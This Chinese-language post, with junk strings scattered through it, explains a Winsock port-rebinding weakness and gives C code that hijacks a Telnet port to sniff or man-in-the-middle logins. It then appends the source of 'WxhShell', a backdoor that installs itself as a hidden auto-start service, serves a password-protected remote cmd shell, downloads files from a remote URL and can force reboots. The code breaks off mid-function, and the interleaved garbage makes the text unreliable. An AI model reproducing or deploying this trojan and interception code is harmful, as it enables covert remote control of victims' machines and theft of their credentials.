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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,:{+-v( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \('WS[$2 Qoa&]] saddr.sin_family = AF_INET; uvRX{q4 Eb8~i_B- saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1 XpqnyL& 3U!
l8N2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y\n#`*5k "[sr0'g: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vs{VRc dtBr#Te 这意味着什么?意味着可以进行如下的攻击: fRwr}n' XaaR>HljJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rw<O%i5/d .7+"KP: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z6nQW53- wkY$J\J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `NyO|9/4 HOr Xxxp1^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n0)y|B# y,6KU$G 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >x]ir 8yybZ@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \' &,9lP R*H-QH/H1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &srD7v9M8 hb(H-`16 #include ex.^V sf_ #include lm*C:e)4A #include ./<giTR:p #include NAO0b5-h DWORD WINAPI ClientThread(LPVOID lpParam); +1a2Un int main() 5'[yw:P-8 { )1g\v8XT WORD wVersionRequested; ~lbm^S}- DWORD ret; R ^"*ut WSADATA wsaData; @o&UF-=MW( BOOL val; Ev T"+;9/p SOCKADDR_IN saddr; V"T5<HA9 SOCKADDR_IN scaddr; w6ck wn, int err; 4 g8t SOCKET s; 8\+XtS SOCKET sc; <.ZD.u int caddsize; Z^ .qX\<M HANDLE mt; (rQ)0g@ DWORD tid; >ktekO:H wVersionRequested = MAKEWORD( 2, 2 ); 6ZQ$5PY err = WSAStartup( wVersionRequested, &wsaData ); D 77$aCt if ( err != 0 ) { P)[QC printf("error!WSAStartup failed!\n"); WHr:M/qD return -1; v?o("I[ C } pIPjTQ?cq saddr.sin_family = AF_INET; Gb.}af#v ^Yo2 R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pa{bkr ?{~. }Vn saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p3B_NsXVZ saddr.sin_port = htons(23);
UoJMOw[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PI)uBA; { BPu>_$C printf("error!socket failed!\n"); <U}25AR return -1; KssIoP } P u}PE-b val = TRUE; 7'7o^>
! //SO_REUSEADDR选项就是可以实现端口重绑定的 ?Hbi[YD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,]4.|A_[Rq { U\q?tvn'J printf("error!setsockopt failed!\n"); d3 p;[;` return -1; D7C%Y^K]>E } 7H. HiyppW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6W'2w?qj?4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CWkAc5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9abn6S(XpJ LufZ, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uvA 2`%T/ { $KmE9Se6, ret=GetLastError(); nz`"f, printf("error!bind failed!\n"); D[(T--LLT return -1; nN(Q}bF } ;zo?o t/ listen(s,2); HqA3.<=F, while(1) [[Usrbf { 9!wm`'G8 caddsize = sizeof(scaddr); ,]=Qgn //接受连接请求 aT=V/Xh}d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ScC!?rTW~7 if(sc!=INVALID_SOCKET) {ZgycMS { 4OdK@+-8U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ot3+<{ if(mt==NULL) Of{'A { w&}UgtEm printf("Thread Creat Failed!\n"); kN*\yH| break; ^j'vM\^`ml } ntF#x.1Pm } 0.!Q4bhD CloseHandle(mt); 5O"wPsl } q?oJ=]m" closesocket(s); 7
P]Sc WSACleanup(); +e)RT< return 0; dYhLk2 } ]GPUL>7 DWORD WINAPI ClientThread(LPVOID lpParam) Q$2^m(?; { |)Sx"B) SOCKET ss = (SOCKET)lpParam; tA9(N>[* SOCKET sc; 1;9 %L@ unsigned char buf[4096]; CYC6:g|) SOCKADDR_IN saddr; Oxf,2r long num; qzu%Pp6If DWORD val; }u'O<d~z? DWORD ret; Uf-`g> //如果是隐藏端口应用的话,可以在此处加一些判断 DYCXzFAa //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1H,hw saddr.sin_family = AF_INET; P
C saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2n5{H fpY saddr.sin_port = htons(23); :6Sb3w5h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a<{+
JU5 { kx3]A"]>' printf("error!socket failed!\n"); f%Bm x{Ttq return -1; Hy1f,D } evHKq}{ val = 100; wB W]w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PRF^<%mkI { ~TALpd ret = GetLastError(); "G!V?~; return -1; :#p!&Fi } tL@m5M%:N2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L}%4YB { Ci^tP~)&" ret = GetLastError(); $kk!NAW return -1; 4S#q06=Xe } !Pb39[f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'D;'Pr] { dKTUW<C printf("error!socket connect failed!\n"); p uLQ_MNV closesocket(sc); as| MB
( closesocket(ss); `F1 ( v return -1; ;u: }rA) } SwPc<Z?P while(1) 79Vp^GG7 { z|>f*Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KwuNHK)- //如果是嗅探内容的话,可以再此处进行内容分析和记录 ni x1_Wo; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &tE#1<k num = recv(ss,buf,4096,0); OQh(qa if(num>0) zos#B30 send(sc,buf,num,0); 5%6r,?/7KM else if(num==0) lGP'OY"Q break;
UBxQ4)% num = recv(sc,buf,4096,0); !'EE8Tp~F if(num>0) G#A& Y$ send(ss,buf,num,0); Sud5F4S else if(num==0) j8gi/07l break; 1 ~#p3)B } - '5OX/Szq closesocket(ss); /.aDQ> closesocket(sc); &D~70N\L return 0 ; ,*@6NK,. } <U]#722 \
>(;t#> JRj%d&^} ========================================================== %L$P']%t@ 2 9=L7 下边附上一个代码,,WXhSHELL KI="O6 h f
i3 < ========================================================== K
r&HT,>B i3} ^j?jA2 #include "stdafx.h" ]gQ4qu5 ,fwN_+5 #include <stdio.h> ?pv}~> #include <string.h> DHV#PLbN$ #include <windows.h> T9+ ?A
l #include <winsock2.h> +}@HtjM #include <winsvc.h> VJeN
m3WNb #include <urlmon.h> cHMS[.=; Y+tXWN"8 #pragma comment (lib, "Ws2_32.lib") =N zA2td #pragma comment (lib, "urlmon.lib") 8y{<M"v+/ ctL@&~*nY #define MAX_USER 100 // 最大客户端连接数 lS(?x|dO #define BUF_SOCK 200 // sock buffer 43Yav+G(+ #define KEY_BUFF 255 // 输入 buffer 'L2M
W }$ Am;%?p #define REBOOT 0 // 重启 :d<;h:^_ #define SHUTDOWN 1 // 关机 217KJ~)' $h-5PwHp #define DEF_PORT 5000 // 监听端口 bG0t7~!{E #`mo5 #define REG_LEN 16 // 注册表键长度 pcw^W
#define SVC_LEN 80 // NT服务名长度 mu/O\'5 ArUGa(;f // 从dll定义API
WoiK _Ud typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y3K9rf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MD,}-m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )[>b7K$f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8]N+V: mq?5|` // wxhshell配置信息 RYaf{i` struct WSCFG { 8 JUUK(&Z int ws_port; // 监听端口 V(Ps6jR"BS char ws_passstr[REG_LEN]; // 口令 rQbL86+ int ws_autoins; // 安装标记, 1=yes 0=no t,.MtU>K@ char ws_regname[REG_LEN]; // 注册表键名 $Rsf`*0- char ws_svcname[REG_LEN]; // 服务名 hb"t8_--c char ws_svcdisp[SVC_LEN]; // 服务显示名 gC#PqK~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Y!#` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "S43:VH int ws_downexe; // 下载执行标记, 1=yes 0=no KFd"JtPg char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h&Ehp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q-%Q7n'c ^Q]*CU+C }; s45Y8!c Yo
c N@s // default Wxhshell configuration #s1O(rLRl struct WSCFG wscfg={DEF_PORT, 0=;jGh}|i "xuhuanlingzhe", ++:v O 1, B8_w3;x "Wxhshell", 5[M?O4mi "Wxhshell", Ak$ghb "WxhShell Service", V$+xJ m "Wrsky Windows CmdShell Service", z.:{ "Please Input Your Password: ", 8Z!+1b 1, k|,pj^ " http://www.wrsky.com/wxhshell.exe", @#}9?>UV "Wxhshell.exe" vS:%(Y"!< }; ;PJWd|3 0sRby! // 消息定义模块 DEaO=p| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;5A&[]@^^@ char *msg_ws_prompt="\n\r? for help\n\r#>"; a2*WZc` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; |*7uF<ink6 char *msg_ws_ext="\n\rExit."; a8-2:8Su char *msg_ws_end="\n\rQuit."; Rv6{'\: char *msg_ws_boot="\n\rReboot..."; !Ljs9 =UF char *msg_ws_poff="\n\rShutdown..."; #:Di1I9<O7 char *msg_ws_down="\n\rSave to "; |$":7)eH! AU}P`fT! char *msg_ws_err="\n\rErr!"; Ay!=Yk^~ char *msg_ws_ok="\n\rOK!"; d+%1q hNXPm~OK\ char ExeFile[MAX_PATH]; YZf<S: int nUser = 0; 1<^"OjQ HANDLE handles[MAX_USER]; /J8AnA1 int OsIsNt; 0i9y-32- jNV2o SERVICE_STATUS serviceStatus; 'z2}qJJ) SERVICE_STATUS_HANDLE hServiceStatusHandle; UnZ*"% }.7!@!q. // 函数声明 0%}$@H5i int Install(void); PEoOs int Uninstall(void); !J[3U
int DownloadFile(char *sURL, SOCKET wsh); cU5x8[2 int Boot(int flag); L*9^-, void HideProc(void); *L/_ v int GetOsVer(void); r^&{0c&o int Wxhshell(SOCKET wsl); 46*o_A,"
void TalkWithClient(void *cs); tn;e
PcU int CmdShell(SOCKET sock); 6z"fBF int StartFromService(void); $GUSTV int StartWxhshell(LPSTR lpCmdLine); XZA3TZ 3~BL!e, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }#q9>gx VOID WINAPI NTServiceHandler( DWORD fdwControl ); *8U+2zgfC b/ 'fC%o, // 数据结构和表定义 t/_w} SERVICE_TABLE_ENTRY DispatchTable[] = #;a
1=8H { UKQ,]VC {wscfg.ws_svcname, NTServiceMain}, f!*b8ND^R
{NULL, NULL} 5SK{^hw }; ?};}#%971 X}_}`wIn // 自我安装 3`J?as@^8 int Install(void) hyL3fkMJ, { }.4`zK&SB char svExeFile[MAX_PATH]; KSuP'.l HKEY key; FgNO# % strcpy(svExeFile,ExeFile); W{Ie(hf 8^$}!9B~JZ // 如果是win9x系统,修改注册表设为自启动 D*`|MzlQ if(!OsIsNt) { ;or(:Yoc- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Ten2(D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wk'KN o RegCloseKey(key); k _hiGg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 18Pc4~>0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IO`.]iG RegCloseKey(key); 95aa return 0; y)|Q~8r } ! k||-Q& } V{$(#r } ?y'KX]/ else { ]}8<h5h) +%6{>C+bZo // 如果是NT以上系统,安装为系统服务 S3:Pjz}t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0(ZER sP if (schSCManager!=0) <m`HK.|~ { I_'S|L SC_HANDLE schService = CreateService FsY}mql ( 6/T
hbD-C schSCManager, R(=Lhz6R4 wscfg.ws_svcname, b3MgJT"mN wscfg.ws_svcdisp, LS Na SERVICE_ALL_ACCESS, %U)/>Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $91c9z;f^ SERVICE_AUTO_START, D.j'n-yw SERVICE_ERROR_NORMAL, p<'#f,o svExeFile, ~o= Sxaf NULL, oU$Niw9f NULL, {IYfq)c NULL, gf2l19aP NULL, @YMef`T: NULL nu}$wLM ); wZh&w<l' if (schService!=0) @xmO\ { ['sj'3cW- CloseServiceHandle(schService); qWHH%
L; CloseServiceHandle(schSCManager); +e`f|OQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4VSlgoz strcat(svExeFile,wscfg.ws_svcname); V?
w;YTg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j =r`[Bm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o
<0 f RegCloseKey(key); 8V;@yzIha return 0; {tV)+T } %8>s :YG } dfiA- h CloseServiceHandle(schSCManager); A$WE:<^ } {^Vkxf] } BP,"vq $'+ [95(%&k.Q return 1; PSI5$Vna4p } wRgmw
4 -f#0$Z/0 // 自我卸载 "8&pT^ int Uninstall(void) 2w'Q9&1~ { 0_}OKn)J HKEY key; (\, <RC\ ?5Wj y if(!OsIsNt) { yaMNt}y-q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6,G1:BV{K RegDeleteValue(key,wscfg.ws_regname); BdG~y1%: RegCloseKey(key); "2i{ L ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZvpcjP RegDeleteValue(key,wscfg.ws_regname); sczN0*w&C RegCloseKey(key); ,u#uk7V return 0; Mhm3u } }\:3}'S.$ } xKWqDt } 2xhwi.u else { Sf
B+;i'D Yewn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cNtGjLpx; if (schSCManager!=0) [pUw(KV2m { wV+ W( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -X'HZ\) if (schService!=0) bvuoGG* { `ky<
* if(DeleteService(schService)!=0) { %2f``48# CloseServiceHandle(schService); R5g-b2Lm CloseServiceHandle(schSCManager); y{,HpPp#o return 0; "fdgBso } A07g@3n CloseServiceHandle(schService); s:7^R-"
} QzPq^ CloseServiceHandle(schSCManager); U[*VNJSp } F^7qLvh } K~H)XJFF /1F%w8Iqh return 1; %I9{)'+@x } X|q&0W= rIH/<@+ // 从指定url下载文件 'C8VD+p int DownloadFile(char *sURL, SOCKET wsh) "=@b>d6U+ { n .ZLR=P4 HRESULT hr; 8i!AJF9IQ} char seps[]= "/"; nBI?~hkP3 char *token; u =z$**M^ char *file; :6S!1roi char myURL[MAX_PATH]; 1 !bODd char myFILE[MAX_PATH]; Y ( x_bJ %obR2% strcpy(myURL,sURL); %'a%ynFs token=strtok(myURL,seps); Bw;sg; while(token!=NULL) -=iGl5P? { "~(qp_AI file=token; lqn7$ token=strtok(NULL,seps); 4sasf94 } k__i Jsk XAwo~E GetCurrentDirectory(MAX_PATH,myFILE); oGM Ls strcat(myFILE, "\\"); 5XySF # strcat(myFILE, file); `E+)e?z send(wsh,myFILE,strlen(myFILE),0); f uQbDb& send(wsh,"...",3,0); $h`(toTyF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !O6e,l if(hr==S_OK) '9c`[^ return 0; NUbw]Y90~ else G3'>KMa. return 1; ?YWfoH4mS ,(dg]7 } u?5d%]* ,yus44w[ // 系统电源模块 Zt4g G KG int Boot(int flag) 3I&=1o { ?%%
'GX HANDLE hToken; njeRzX TOKEN_PRIVILEGES tkp; Se<]g$eK?5 jWJq[l if(OsIsNt) { 0<_|K>5dS| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'KB\K)cD=3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6zh<PETa03 tkp.PrivilegeCount = 1; lffp\v{w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hy^Em AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;*1bTdB5a if(flag==REBOOT) { x=T`i-M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ma9q?H#X return 0; [ -"o5!0< } gNF8&T else { F1) B-wW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vQ/}E@?u return 0; 4
AZ~<e\ } TP o%zZo } z%$ E6Im else { oFM\L^Y?$$ if(flag==REBOOT) { psyxNM=dN# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !>fYD8Ft, return 0; yTzP{I } 5v <>%= else { A<P3X/i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bwo-9B return 0; 9zSHn.y } CT,caa } DP\s-JpI[ ?T=]?[ return 1; !+T\}1f7d } OLh`R]Sd
R)i // win9x进程隐藏模块 y6NOHPp@ void HideProc(void) ie|I*;# { fHhm)T8KB Atl`J.;G HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :W]?6= if ( hKernel != NULL ) aEU[k>& { ]@X5'r" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D^Ahw"X) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,K9\;{C FreeLibrary(hKernel); 3D_Ky Z~M+ } , dT.q io:g]g return; QK _1!t3 } 88}+.-3t$ 7'u<)V // 获取操作系统版本 dv=y,q@W int GetOsVer(void) [
[]'U' { 0^'A^ OSVERSIONINFO winfo; MV
+R $ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dy6uWv,P GetVersionEx(&winfo); ?CO\jW_
*n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $jT&]p return 1; 2WQKj9iyN
else A{\#.nC/z return 0; zRTR } :#D?b.= Vp8t8X1` // 客户端句柄模块 }s)MDq9 int Wxhshell(SOCKET wsl) )"k>}&' { lyGQ6zlSn SOCKET wsh; 79 zFF struct sockaddr_in client; 0#(K}9T) DWORD myID; uC\FW6K=m dmh6o * while(nUser<MAX_USER) kwxb~~S}h( { dxqVZksg(9 int nSize=sizeof(client); @X`~r8& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b3(pRg[Fp if(wsh==INVALID_SOCKET) return 1; BiGB<Jr tHNvb\MR$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jVP70c if(handles[nUser]==0) *hVbjI$ closesocket(wsh); GC?X>AC: else I9O9V[ nUser++; V3;4,^=6Dd } s( @w1tS. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &8'.Gwm} %Q]u_0P* return 0; lfjY45= } yXU-@~ y,qP$5xiq // 关闭 socket fR_
jYP1 void CloseIt(SOCKET wsh) GwiG..Y]& { TDI8L\rr closesocket(wsh); TU ]Ed*'& nUser--; 6#~"~WfPQ ExitThread(0); o`?0D)/O } 6OYXcPW' #Mo`l/Cwp // 客户端请求句柄 fDc>E+, void TalkWithClient(void *cs) [8*Ovd { cBf9-k ;t!n%SnK9! SOCKET wsh=(SOCKET)cs; (;u tiupW char pwd[SVC_LEN]; d,=Kv char cmd[KEY_BUFF]; ""Ul6hRgv char chr[1]; EtN@ 6xP int i,j; bc}X.IC eUQ., mP while (nUser < MAX_USER) { !:e|M|T'I* Hw"ik6 if(wscfg.ws_passstr) { "|W .o=R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4R!A.N 9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WelB+P2 //ZeroMemory(pwd,KEY_BUFF); hoxn! x$? i=0; { zoUU while(i<SVC_LEN) { &tY3nr 4 -)'a} O // 设置超时 T1zft#1~ fd_set FdRead; ,4y'(DA struct timeval TimeOut; N;,?k.vU FD_ZERO(&FdRead); Z=%+U _, FD_SET(wsh,&FdRead); ?f v?6r TimeOut.tv_sec=8; qGMM3a)Q TimeOut.tv_usec=0; ';`fMcN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ke-Q>sm2Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M0!;{1 x4v@Kk/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+VeT @ pwd =chr[0]; 8+vZ9!7 if(chr[0]==0xd || chr[0]==0xa) { L'{;V\d pwd=0; 'Z2:u!E break; r})2-3ZA9 } gA
]7YHc i++; mhTpR0 } ZK5(_qW&i 3oX%tx // 如果是非法用户,关闭 socket /nXp5g^6( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &{QB}r } &SS"A*xg Lm+!/e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )
Kfk\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <B6@q4Q ${'gyD while(1) { Cpaeo0Oq Vzy]N6QT{ ZeroMemory(cmd,KEY_BUFF);
?7-#iC` pM~Xh ]/ // 自动支持客户端 telnet标准 A2' j=0; t
K;E&: while(j<KEY_BUFF) { 7SzY0})<U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K#M
h cmd[j]=chr[0]; g!n1]- 1 if(chr[0]==0xa || chr[0]==0xd) { ,oe
e' cmd[j]=0; PJj{5,#@3 break; =/=x"q+X } Ab7hW(/ j++; /uI/8>p( } EQPZV
K/ iU^ 4a // 下载文件 O;M_?^'W if(strstr(cmd,"http://")) { #oMbE<//" send(wsh,msg_ws_down,strlen(msg_ws_down),0); 992;~lBu if(DownloadFile(cmd,wsh)) aKs!*uo0H send(wsh,msg_ws_err,strlen(msg_ws_err),0); FtN1ZZ"<* else []Cvma1\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >_M}l@1 } >V(>2eD'S else { .jMm-vox} mFayU w switch(cmd[0]) { ]i*q*]x2u &QE^i%6>\ // 帮助 ';V(sRU@ case '?': { EZ #UdK_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y0BvN`E break; hM
E|=\
} :b>Z|7g ? // 安装 K-wjQ|*1 case 'i': { 1=#r$H if(Install()) $oE 4q6b send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgssX9g37 else $m/-E#I#Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?>MD /l(l break; cb&y8!ci~ } t )Z2"_5 // 卸载 ]SrKe-*:U case 'r': { [e)81yZG> if(Uninstall()) :w_F<2d0
0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !boKrSw else qt]QO1pAd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v,vTRrpK break; 0!=e1_ } 3sGrX"0D // 显示 wxhshell 所在路径 f[7'kv5S case 'p': { t^?8Di\ char svExeFile[MAX_PATH]; w|WZEu:0| strcpy(svExeFile,"\n\r"); ^a; V-US strcat(svExeFile,ExeFile); 4W9!_:j(j send(wsh,svExeFile,strlen(svExeFile),0); *p?b "{_a break; q`1t*<sk } 7qE V5! // 重启 X2@mQ&n case 'b': { \$;\,p p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P@9>4}r$ if(Boot(REBOOT)) ,<hXNN send(wsh,msg_ws_err,strlen(msg_ws_err),0); )I]E%ut{4, else { Tp`)cdcC[ closesocket(wsh); >|0yH9af ExitThread(0); N)Qj^bD! } \!ESmxSa; break; y NV$IN% } ?Z4&j'z< // 关机 };9dd3X case 'd': { %W"\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PkDL\Nqe if(Boot(SHUTDOWN)) x|0Q\<mEe send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4VQx,, else { ]&/jvA=\l, closesocket(wsh); ibzYY"D: ExitThread(0); rShi"Yw } *(?YgV break; O#O~A| } #a#~YSnG // 获取shell "EEE09~l\ case 's': { b]RCe^E1 CmdShell(wsh); 344,mnAd closesocket(wsh); j,/o0k, ExitThread(0); W\.f:"2qr break; 8YkP57Y%[Z } 74gU4T // 退出 H'gPGOd case 'x': { lG#&Pv>- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K'?ab 0 CloseIt(wsh); bG^eP:r break; Jr17pu(t } 4n3QW%# // 离开 2IjqTL case 'q': { 3kR- WgVF, send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ Jnp\o> closesocket(wsh); R2]?9\II WSACleanup(); :NbD^h)R exit(1); O.rk!&N break; v@>hjie } P]Gsc } *\VQ%_wg } o\|dm."f Dj!J 4uD // 提示信息 :@:R4Ac if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =m} {g/Bk } AL|fL } Fg#*rzA 0RoI`>j' return; 8w2+t>? } ?9?0M A<[i X0vkdNgW // shell模块句柄 |lJXI:GG int CmdShell(SOCKET sock) /2l4'Q= { -^#Ix;% STARTUPINFO si; 44%::Oh ZeroMemory(&si,sizeof(si)); >5^Z'!Z" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [*}[W6
3v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;/oMH/,U8 PROCESS_INFORMATION ProcessInfo; t:=Ui/!q char cmdline[]="cmd"; O')Ivm,E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kq{s^G return 0; ~ S-x-cZ } ?WAlW,H> $%1[<}< // 自身启动模式 0A 4(RLGg int StartFromService(void) f[|xp?ef { TqQ>\h"&_ typedef struct 0*g
psS { h@W}xT DWORD ExitStatus; |d%Dw^ DWORD PebBaseAddress; QyHUuG|g DWORD AffinityMask; y|MW-|0=! DWORD BasePriority; :eIBK ULONG UniqueProcessId; Q 5@~0 ULONG InheritedFromUniqueProcessId; a'T|p)N.;T } PROCESS_BASIC_INFORMATION; j,1,; <EBp X PROCNTQSIP NtQueryInformationProcess; 1Eg}qU,: ~Zj?%4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h+Q== static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k.lnG5e mD )Nh HANDLE hProcess; 8<]> q PROCESS_BASIC_INFORMATION pbi; a?JU( /u #9M { HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B1LnuB% if(NULL == hInst ) return 0; 8|d[45*q 4yBe(&N-d g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 